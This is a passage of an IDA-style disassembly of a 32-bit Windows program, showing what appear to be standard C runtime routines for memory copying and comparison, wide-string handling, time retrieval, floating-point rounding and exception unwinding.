; sub_41F400:off_41F54Co
dd 90C3C95Fh
dword_41F564 dd 788068Ah, 5E08458Bh, 90C3C95Fh ; DATA XREF: sub_41F400+150o
dword_41F570 dd 788068Ah, 8801468Ah, 458B0147h, 0C95F5E08h, 498DC3h
; DATA XREF: sub_41F400+154o
dword_41F584 dd 788068Ah, 8801468Ah, 468A0147h, 2478802h, 5E08458Bh
; DATA XREF: sub_41F400+158o
dd 90C3C95Fh
; ---------------------------------------------------------------------------
loc_41F59C: ; CODE XREF: sub_41F400+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41F5D0
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41F5C4
std
rep movsd
cld
jmp off_41F6E8[edx*4]
; ---------------------------------------------------------------------------
dw 0FF8Bh
; ---------------------------------------------------------------------------
loc_41F5C4: ; CODE XREF: sub_41F400+1B5j
neg ecx
jmp off_41F698[ecx*4]
; ---------------------------------------------------------------------------
db 8Dh, 49h, 0
; ---------------------------------------------------------------------------
loc_41F5D0: ; CODE XREF: sub_41F400+1AAj
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41F5E8
and eax, 3
sub ecx, eax
jmp dword ptr loc_41F5E8+4[eax*4]
; ---------------------------------------------------------------------------
loc_41F5E8: ; CODE XREF: sub_41F400+1DAj
; DATA XREF: sub_41F400+1E1r
jmp off_41F6E8[ecx*4]
sub_41F400 endp
; ---------------------------------------------------------------------------
db 90h
dd offset dword_41F5FC
dd offset dword_41F620
dd offset dword_41F648
dword_41F5FC dd 2303468Ah, 34788D1h, 0C101EE83h, 0EF8302E9h, 8F98301h
; DATA XREF: seg000:0041F5F0o
dd 0F3FDB272h, 24FFFCA5h, 41F6E895h, 498D00h
dword_41F620 dd 2303468Ah, 34788D1h, 0C102468Ah, 478802E9h, 2EE8302h
; DATA XREF: seg000:0041F5F4o
dd 8302EF83h, 887208F9h, 0FCA5F3FDh, 0E89524FFh, 900041F6h
dword_41F648 dd 2303468Ah, 34788D1h, 8802468Ah, 468A0247h, 2E9C101h
; DATA XREF: seg000:0041F5F8o
dd 83014788h, 0EF8303EEh, 8F98303h, 0FF56820Fh, 0F3FDFFFFh
dd 24FFFCA5h, 41F6E895h, 498D00h, 41F69Ch, 41F6A4h, 41F6ACh
dd 41F6B4h, 41F6BCh, 41F6C4h, 41F6CCh
off_41F698 dd offset byte_41F6DF ; DATA XREF: sub_41F400+1C6r
dd 1C8E448Bh, 1C8F4489h, 188E448Bh, 188F4489h, 148E448Bh
dd 148F4489h, 108E448Bh, 108F4489h, 0C8E448Bh, 0C8F4489h
dd 88E448Bh, 88F4489h, 48E448Bh, 48F4489h, 8D048Dh, 3000000h
db 0F0h, 3, 0F8h
byte_41F6DF db 0FFh ; DATA XREF: seg000:off_41F698o
dd 0F6E89524h, 0FF8B0041h
off_41F6E8 dd offset dword_41F6F8 ; DATA XREF: sub_41F400+1BBr
; sub_41F400:loc_41F5E8r
dd offset dword_41F700
dd offset dword_41F710
dd offset dword_41F724
dword_41F6F8 dd 5E08458Bh, 90C3C95Fh ; DATA XREF: seg000:off_41F6E8o
dword_41F700 dd 8803468Ah, 458B0347h, 0C95F5E08h, 498DC3h ; DATA XREF: seg000:0041F6ECo
dword_41F710 dd 8803468Ah, 468A0347h, 2478802h, 5E08458Bh, 90C3C95Fh
; DATA XREF: seg000:0041F6F0o
dword_41F724 dd 8803468Ah, 468A0347h, 2478802h, 8801468Ah, 458B0147h
; DATA XREF: seg000:0041F6F4o
dd 0C95F5E08h
db 0C3h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F73D proc near ; CODE XREF: seg000:0040BBFAp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push eax
mov [ebp+var_14], 49h
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_41E1C0
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
lea eax, [ebp+var_20]
push eax
call sub_423327
add esp, 10h
leave
retn
sub_41F73D endp
; ---------------------------------------------------------------------------
db 3 dup(0CCh)
dd 3 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_41F780 proc near ; CODE XREF: seg000:0040C6A0p
; seg000:0040C6B7p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_41F7D2
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_41F7D3
test eax, 1
jz short loc_41F7B3
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41F800
add esi, 1
add edi, 1
sub eax, 1
jz short loc_41F7D0
loc_41F7B3: ; CODE XREF: sub_41F780+20j
; sub_41F780+4Ej
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41F800
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41F800
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41F7B3
loc_41F7D0: ; CODE XREF: sub_41F780+31j
; sub_41F780+8Aj
pop edi
pop esi
locret_41F7D2: ; CODE XREF: sub_41F780+6j
retn
; ---------------------------------------------------------------------------
loc_41F7D3: ; CODE XREF: sub_41F780+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_41F808
repe cmpsd
jz short loc_41F808
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_41F7FB
cmp ch, dh
jnz short loc_41F7FB
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_41F7FB
cmp ch, dh
loc_41F7FB: ; CODE XREF: sub_41F780+69j
; sub_41F780+6Dj ...
mov eax, 0
loc_41F800: ; CODE XREF: sub_41F780+26j
; sub_41F780+39j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F808: ; CODE XREF: sub_41F780+5Bj
; sub_41F780+5Fj
test eax, eax
jz short loc_41F7D0
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_41F7FB
sub eax, 1
jz short loc_41F835
cmp dh, ch
jnz short loc_41F7FB
sub eax, 1
jz short loc_41F835
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_41F7FB
sub eax, 1
loc_41F835: ; CODE XREF: sub_41F780+97j
; sub_41F780+A0j
pop edi
pop esi
retn
sub_41F780 endp
; =============== S U B R O U T I N E =======================================
sub_41F838 proc near ; CODE XREF: sub_40C89B+75p
; sub_40C89B+85p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
cmp word ptr [eax], 0
mov edx, eax
jz short loc_41F84C
loc_41F844: ; CODE XREF: sub_41F838+12j
inc edx
inc edx
cmp word ptr [edx], 0
jnz short loc_41F844
loc_41F84C: ; CODE XREF: sub_41F838+Aj
push esi
mov esi, [esp+4+arg_4]
loc_41F851: ; CODE XREF: sub_41F838+26j
mov cx, [esi]
mov [edx], cx
inc edx
inc edx
inc esi
inc esi
test cx, cx
jnz short loc_41F851
pop esi
retn
sub_41F838 endp
; =============== S U B R O U T I N E =======================================
sub_41F862 proc near ; CODE XREF: seg000:00411260p
; seg000:004112D1p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
mov edx, [esp+arg_4]
loc_41F86A: ; CODE XREF: sub_41F862+15j
mov ax, [edx]
mov [ecx], ax
inc ecx
inc ecx
inc edx
inc edx
test ax, ax
jnz short loc_41F86A
mov eax, [esp+arg_0]
retn
sub_41F862 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F87E proc near ; CODE XREF: sub_40E3B2+1CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp+var_8]
push eax
call ds:dword_42B198 ; GetSystemTimeAsFileTime
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
push 0
add eax, 2AC18000h
push 989680h
adc ecx, 0FE624E21h
push ecx
push eax
call sub_420C80
mov ecx, [ebp+arg_0]
test ecx, ecx
jz short locret_41F8B5
mov [ecx], eax
locret_41F8B5: ; CODE XREF: sub_41F87E+33j
leave
retn
sub_41F87E endp
; ---------------------------------------------------------------------------
aB?n db '¡ ?N',0 ; DATA XREF: seg002:0043C018o
dword_41F8BC dd 6A56C085h, 7755E14h, 200B8h, 3B06EB00h, 8B077DC6h, 3F20A3C6h
dd 46A004Eh, 0D06E850h, 0C0850000h, 8A35959h, 75004E2Fh
dd 56046A1Eh, 3F203589h, 0EDE8004Eh, 8500000Ch, 0A35959C0h
dd 4E2F08h, 1A6A0575h, 33C35E58h, 3500B9D2h, 5EB0044h
dd 4E2F08A1h, 20C8900h, 8320C183h, 0F98104C2h, 443780h
dd 0D233EA7Ch, 443510B9h, 0C1C28B00h, 48B05F8h, 4E2BA085h
dd 83F28B00h, 48B1FE6h, 0FFF883F0h, 0C0850474h, 9830375h
dd 20C183FFh, 70F98142h, 7C004435h, 5EC033D4h, 176AE8C3h
dd 3D800000h, 4E2938h, 0E9057400h, 49C9h, 0CCCCCCC3h, 3 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F980 proc near ; CODE XREF: sub_40EFAE+4Ep
; sub_4211B3+2DEp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41F9A0
cmp edi, eax
jb loc_41FB1C
loc_41F9A0: ; CODE XREF: sub_41F980+16j
test edi, 3
jnz short loc_41F9BC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41F9DC
rep movsd
jmp off_41FACC[edx*4]
; ---------------------------------------------------------------------------
loc_41F9BC: ; CODE XREF: sub_41F980+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41F9D4
and eax, 3
add ecx, eax
jmp dword ptr loc_41F9DC+4[eax*4]
; ---------------------------------------------------------------------------
loc_41F9D4: ; CODE XREF: sub_41F980+46j
jmp dword_41FADC[ecx*4]
; ---------------------------------------------------------------------------
db 90h
; ---------------------------------------------------------------------------
loc_41F9DC: ; CODE XREF: sub_41F980+31j
; DATA XREF: sub_41F980+4Dr
jmp off_41FA60[ecx*4]
; ---------------------------------------------------------------------------
db 90h
dd offset dword_41F9F0
dd offset dword_41FA1C
dd offset dword_41FA40
dword_41F9F0 dd 68AD123h, 468A0788h, 1478801h, 0C102468Ah, 478802E9h
; DATA XREF: sub_41F980+64o
dd 3C68302h, 8303C783h, 0CC7208F9h, 24FFA5F3h, 41FACC95h
dd 498D00h
dword_41FA1C dd 68AD123h, 468A0788h, 2E9C101h, 83014788h, 0C78302C6h
; DATA XREF: sub_41F980+68o
dd 8F98302h, 0A5F3A672h, 0CC9524FFh, 900041FAh
dword_41FA40 dd 68AD123h, 0C6830788h, 2E9C101h, 8301C783h, 887208F9h
; DATA XREF: sub_41F980+6Co
dd 24FFA5F3h, 41FACC95h, 498D00h
off_41FA60 dd offset byte_41FAC3 ; DATA XREF: sub_41F980:loc_41F9DCr
dd offset dword_41FAB0
dd offset dword_41FAA8
dd offset dword_41FAA0
dd offset dword_41FA98
dd offset dword_41FA90
dd offset dword_41FA88
dd offset dword_41FA80
dword_41FA80 dd 0E48E448Bh, 0E48F4489h ; DATA XREF: sub_41F980+FCo
dword_41FA88 dd 0E88E448Bh, 0E88F4489h ; DATA XREF: sub_41F980+F8o
dword_41FA90 dd 0EC8E448Bh, 0EC8F4489h ; DATA XREF: sub_41F980+F4o
dword_41FA98 dd 0F08E448Bh, 0F08F4489h ; DATA XREF: sub_41F980+F0o
dword_41FAA0 dd 0F48E448Bh, 0F48F4489h ; DATA XREF: sub_41F980+ECo
dword_41FAA8 dd 0F88E448Bh, 0F88F4489h ; DATA XREF: sub_41F980+E8o
dword_41FAB0 dd 0FC8E448Bh, 0FC8F4489h, 8D048Dh, 3000000h ; DATA XREF: sub_41F980+E4o
db 0F0h, 3, 0F8h
byte_41FAC3 db 0FFh ; DATA XREF: sub_41F980:off_41FA60o
dd 0FACC9524h, 0FF8B0041h
off_41FACC dd offset dword_41FADC ; DATA XREF: sub_41F980+35r
dd offset dword_41FAE4
dd offset dword_41FAF0
dd offset dword_41FB04
dword_41FADC dd 5E08458Bh ; DATA XREF: sub_41F980:loc_41F9D4r
; sub_41F980:off_41FACCo
dd 90C3C95Fh
dword_41FAE4 dd 788068Ah, 5E08458Bh, 90C3C95Fh ; DATA XREF: sub_41F980+150o
dword_41FAF0 dd 788068Ah, 8801468Ah, 458B0147h, 0C95F5E08h, 498DC3h
; DATA XREF: sub_41F980+154o
dword_41FB04 dd 788068Ah, 8801468Ah, 468A0147h, 2478802h, 5E08458Bh
; DATA XREF: sub_41F980+158o
dd 90C3C95Fh
; ---------------------------------------------------------------------------
loc_41FB1C: ; CODE XREF: sub_41F980+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41FB50
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41FB44
std
rep movsd
cld
jmp off_41FC68[edx*4]
; ---------------------------------------------------------------------------
dw 0FF8Bh
; ---------------------------------------------------------------------------
loc_41FB44: ; CODE XREF: sub_41F980+1B5j
neg ecx
jmp off_41FC18[ecx*4]
; ---------------------------------------------------------------------------
db 8Dh, 49h, 0
; ---------------------------------------------------------------------------
loc_41FB50: ; CODE XREF: sub_41F980+1AAj
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41FB68
and eax, 3
sub ecx, eax
jmp dword ptr loc_41FB68+4[eax*4]
; ---------------------------------------------------------------------------
loc_41FB68: ; CODE XREF: sub_41F980+1DAj
; DATA XREF: sub_41F980+1E1r
jmp off_41FC68[ecx*4]
sub_41F980 endp
; ---------------------------------------------------------------------------
db 90h
dd offset dword_41FB7C
dd offset dword_41FBA0
dd offset dword_41FBC8
dword_41FB7C dd 2303468Ah, 34788D1h, 0C101EE83h, 0EF8302E9h, 8F98301h
; DATA XREF: seg000:0041FB70o
dd 0F3FDB272h, 24FFFCA5h, 41FC6895h, 498D00h
dword_41FBA0 dd 2303468Ah, 34788D1h, 0C102468Ah, 478802E9h, 2EE8302h
; DATA XREF: seg000:0041FB74o
dd 8302EF83h, 887208F9h, 0FCA5F3FDh, 689524FFh, 900041FCh
dword_41FBC8 dd 2303468Ah, 34788D1h, 8802468Ah, 468A0247h, 2E9C101h
; DATA XREF: seg000:0041FB78o
dd 83014788h, 0EF8303EEh, 8F98303h, 0FF56820Fh, 0F3FDFFFFh
dd 24FFFCA5h, 41FC6895h, 498D00h, 41FC1Ch, 41FC24h, 41FC2Ch
dd 41FC34h, 41FC3Ch, 41FC44h, 41FC4Ch
off_41FC18 dd offset byte_41FC5F ; DATA XREF: sub_41F980+1C6r
dd 1C8E448Bh, 1C8F4489h, 188E448Bh, 188F4489h, 148E448Bh
dd 148F4489h, 108E448Bh, 108F4489h, 0C8E448Bh, 0C8F4489h
dd 88E448Bh, 88F4489h, 48E448Bh, 48F4489h, 8D048Dh, 3000000h
db 0F0h, 3, 0F8h
byte_41FC5F db 0FFh ; DATA XREF: seg000:off_41FC18o
dd 0FC689524h, 0FF8B0041h
off_41FC68 dd offset dword_41FC78 ; DATA XREF: sub_41F980+1BBr
; sub_41F980:loc_41FB68r
dd offset dword_41FC80
dd offset dword_41FC90
dd offset dword_41FCA4
dword_41FC78 dd 5E08458Bh, 90C3C95Fh ; DATA XREF: seg000:off_41FC68o
dword_41FC80 dd 8803468Ah, 458B0347h, 0C95F5E08h, 498DC3h ; DATA XREF: seg000:0041FC6Co
dword_41FC90 dd 8803468Ah, 468A0347h, 2478802h, 5E08458Bh, 90C3C95Fh
; DATA XREF: seg000:0041FC70o
dword_41FCA4 dd 8803468Ah, 468A0347h, 2478802h, 8801468Ah, 458B0147h
; DATA XREF: seg000:0041FC74o
dd 0C95F5E08h, 0CCCCCCC3h
; =============== S U B R O U T I N E =======================================
sub_41FCC0 proc near ; CODE XREF: sub_40EEBD+44p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = qword ptr 4
cmp ds:dword_4E2B90, 0
jz sub_424720
sub esp, 8
stmxcsr [esp+8+var_4]
mov eax, [esp+8+var_4]
and eax, 1F80h
cmp eax, 1F80h
jnz short loc_41FCF4
fnstcw word ptr [esp+8+var_8]
mov ax, word ptr [esp+8+var_8]
and ax, 7Fh
cmp ax, 7Fh
loc_41FCF4: ; CODE XREF: sub_41FCC0+23j
lea esp, [esp+8]
jnz sub_424720
jmp short $+2
movq xmm0, [esp+arg_0]
movapd xmm2, oword ptr ds:oword_439410
movapd xmm1, xmm0
movapd xmm7, xmm0
psrlq xmm0, 34h
movd eax, xmm0
andpd xmm0, oword ptr ds:oword_439440
psubd xmm2, xmm0
psrlq xmm1, xmm2
test eax, 800h
jnz short loc_41FD82
cmp eax, 3FFh
jl short loc_41FDBA
psllq xmm1, xmm2
cmp eax, 432h
jg short loc_41FD53
movq [esp+arg_0], xmm1
fld [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_41FD53: ; CODE XREF: sub_41FCC0+86j
; sub_41FCC0+E1j
ucomisd xmm7, xmm7
jnp short loc_41FD7D
mov edx, 3EDh
sub esp, 10h
mov [esp+10h+var_4], edx
mov edx, esp
add edx, 14h
mov [esp+10h+var_8], edx
mov [esp+10h+var_C], edx
mov [esp+10h+var_10], edx
call sub_424391
add esp, 10h
loc_41FD7D: ; CODE XREF: sub_41FCC0+97j
fld [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_41FD82: ; CODE XREF: sub_41FCC0+74j
movq xmm0, [esp+arg_0]
psllq xmm1, xmm2
movapd xmm3, xmm0
cmppd xmm0, xmm1, 1
cmp eax, 0BFFh
jl short loc_41FDBD
cmp eax, 0C32h
jg short loc_41FD53
andpd xmm0, oword ptr ds:oword_439400
subsd xmm1, xmm0
movq [esp+arg_0], xmm1
fld [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_41FDBA: ; CODE XREF: sub_41FCC0+7Bj
fldz
retn
; ---------------------------------------------------------------------------
loc_41FDBD: ; CODE XREF: sub_41FCC0+DAj
cmppd xmm3, oword ptr ds:oword_439430, 1
orpd xmm3, oword ptr ds:oword_439430
andpd xmm3, oword ptr ds:oword_439420
movq [esp+arg_0], xmm3
fld [esp+arg_0]
retn
sub_41FCC0 endp
; ---------------------------------------------------------------------------
byte_41FDE1 db 0C3h ; DATA XREF: seg002:0044378Co
; seg002:00443790o
; =============== S U B R O U T I N E =======================================
sub_41FDE2 proc near ; CODE XREF: sub_41FE1Ap
mov eax, offset sub_424B83
mov ds:off_443A50, eax
mov ds:off_443A54, offset sub_42484B
mov ds:off_443A58, offset sub_4248B0
mov ds:off_443A5C, offset sub_4247F3
mov ds:off_443A60, offset word_424896
mov ds:off_443A64, eax
retn
sub_41FDE2 endp
; =============== S U B R O U T I N E =======================================
sub_41FE1A proc near ; CODE XREF: sub_41F146+Dp
; sub_424C26+21p
; DATA XREF: ...
arg_0 = dword ptr 4
call sub_41FDE2
call sub_424C26
cmp [esp+arg_0], 0
mov ds:dword_4E294C, eax
jz short loc_41FE35
call sub_424BD4
loc_41FE35: ; CODE XREF: sub_41FE1A+14j
fnclex
retn
sub_41FE1A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FE38 proc near ; CODE XREF: sub_40EEBD+21p
; sub_40EEBD+50p ...
var_20 = dword ptr -20h
var_10 = qword ptr -10h
var_8 = dword ptr -8
push ebp
mov ebp, esp
sub esp, 20h
and esp, 0FFFFFFF0h
fld st
fst [esp+20h+var_8]
fistp [esp+20h+var_10]
fild [esp+20h+var_10]
mov edx, [esp+20h+var_8]
mov eax, dword ptr [esp+20h+var_10]
test eax, eax
jz short loc_41FE97
loc_41FE5B: ; CODE XREF: sub_41FE38+69j
fsubp st(1), st
test edx, edx
jns short loc_41FE7F
fstp [esp+20h+var_20]
mov ecx, [esp+20h+var_20]
xor ecx, 80000000h
add ecx, 7FFFFFFFh
adc eax, 0
mov edx, dword ptr [esp+20h+var_10+4]
adc edx, 0
jmp short locret_41FEAB
; ---------------------------------------------------------------------------
loc_41FE7F: ; CODE XREF: sub_41FE38+27j
fstp [esp+20h+var_20]
mov ecx, [esp+20h+var_20]
add ecx, 7FFFFFFFh
sbb eax, 0
mov edx, dword ptr [esp+20h+var_10+4]
sbb edx, 0
jmp short locret_41FEAB
; ---------------------------------------------------------------------------
loc_41FE97: ; CODE XREF: sub_41FE38+21j
mov edx, dword ptr [esp+20h+var_10+4]
test edx, 7FFFFFFFh
jnz short loc_41FE5B
fstp [esp+20h+var_8]
fstp [esp+20h+var_8]
locret_41FEAB: ; CODE XREF: sub_41FE38+45j
; sub_41FE38+5Dj
leave
retn
sub_41FE38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41FEAD proc near ; CODE XREF: sub_40EF65+2Cp
; seg000:004104C2p ...
jmp sub_41E2A1
sub_41FEAD endp
; =============== S U B R O U T I N E =======================================
sub_41FEB2 proc near ; CODE XREF: sub_40F024+55p
; seg000:00410328p ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_41E5A7
pop ecx
pop ecx
retn
sub_41FEB2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FEC0 proc near ; CODE XREF: sub_4250FE+60p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_41FEC0 endp
; ---------------------------------------------------------------------------
db '[ÉÂ',8,0
; =============== S U B R O U T I N E =======================================
sub_41FEF0 proc near ; CODE XREF: sub_424D74+25p
; sub_424F82+149p ...
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41FEF0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FEF7 proc near ; CODE XREF: sub_41FFBA+143p
; sub_4250FE:loc_425121p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov esi, large fs:0
mov [ebp+var_4], esi
mov [ebp+var_8], offset loc_41FF20
push 0
push [ebp+arg_4]
push [ebp+var_8]
push [ebp+arg_0]
call sub_4298DC ; RtlUnwind
loc_41FF20: ; DATA XREF: sub_41FEF7+12o
mov eax, [ebp+arg_4]
mov eax, [eax+4]
and eax, 0FFFFFFFDh
mov ecx, [ebp+arg_4]
mov [ecx+4], eax
mov edi, large fs:0
mov ebx, [ebp+var_4]
mov [ebx], edi
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
sub_41FEF7 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_425413
add esp, 20h
mov [ebp-4], eax
pop edi
pop esi
pop ebx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
byte_41FF7F db 0FCh ; DATA XREF: sub_420218+1Fo
aLdLh7d db '‹D$',8,'‹H',8,';',0Dh,'Ô7D',0
db 74h, 0Ch, 8Bh
dd 83042444h, 33080448h, 6AC340C0h, 70FF5000h, 0C70FF14h
dd 74FF006Ah, 70FF2024h, 2474FF10h, 545DE820h, 0C4830000h
db 20h, 0C3h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FFBA proc near ; CODE XREF: sub_41FFBA+15Bp
; sub_425165+30p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
cmp [ebp+arg_0], 123h
jnz short loc_41FFDC
mov eax, offset loc_420053
mov ecx, [ebp+arg_4]
mov [ecx], eax
xor eax, eax
inc eax
jmp loc_42007C
; ---------------------------------------------------------------------------
loc_41FFDC: ; CODE XREF: sub_41FFBA+Ej
and [ebp+var_28], 0
mov [ebp+var_24], offset loc_42007F
mov eax, ds:dword_4437D4
mov [ebp+var_20], eax
mov eax, [ebp+arg_10]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_4]
mov [ebp+var_18], eax
mov eax, [ebp+arg_14]
mov [ebp+var_14], eax
mov eax, [ebp+arg_18]
mov [ebp+var_10], eax
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call ds:dword_4E2990
pop ecx
pop ecx
and [ebp+var_34], 0
loc_420053: ; DATA XREF: sub_41FFBA+10o
cmp [ebp+var_4], 0
jz short loc_420070
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_420079
; ---------------------------------------------------------------------------
loc_420070: ; CODE XREF: sub_41FFBA+9Dj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_420079: ; CODE XREF: sub_41FFBA+B4j
mov eax, [ebp+var_34]
loc_42007C: ; CODE XREF: sub_41FFBA+1Dj
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_42007F: ; DATA XREF: sub_41FFBA+26o
push ebp
mov ebp, esp
push ecx
push ebx
cld
mov eax, [ebp+arg_4]
mov eax, [eax+8]
cmp eax, ds:dword_4437D4
jz short loc_4200AA
mov eax, [ebp+arg_0]
mov eax, [eax+4]
or eax, 8
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
xor eax, eax
inc eax
jmp loc_42012E
; ---------------------------------------------------------------------------
loc_4200AA: ; CODE XREF: sub_41FFBA+D7j
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
jz short loc_4200C4
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
xor eax, eax
inc eax
jmp short loc_42012E
; ---------------------------------------------------------------------------
loc_4200C4: ; CODE XREF: sub_41FFBA+F9j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+18h]
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
push [ebp+arg_0]
call sub_425413
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_420102
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41FEF7
loc_420102: ; CODE XREF: sub_41FFBA+13Bj
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp+var_4]
push eax
push 123h
call sub_41FFBA
add esp, 1Ch
mov eax, [ebp+var_4]
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp eax
; ---------------------------------------------------------------------------
db 33h
db 0C0h, 40h
; ---------------------------------------------------------------------------
loc_42012E: ; CODE XREF: sub_41FFBA+EBj
; sub_41FFBA+108j
pop ebx
leave
retn
sub_41FFBA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420131 proc near ; CODE XREF: sub_425165+50p
; sub_425221+F5p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_4], 0
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
jl short loc_420187
loc_42014F: ; CODE XREF: sub_420131+51j
cmp esi, 0FFFFFFFFh
jnz short loc_420159
call sub_4254E2
loc_420159: ; CODE XREF: sub_420131+21j
mov ecx, [ebp+arg_8]
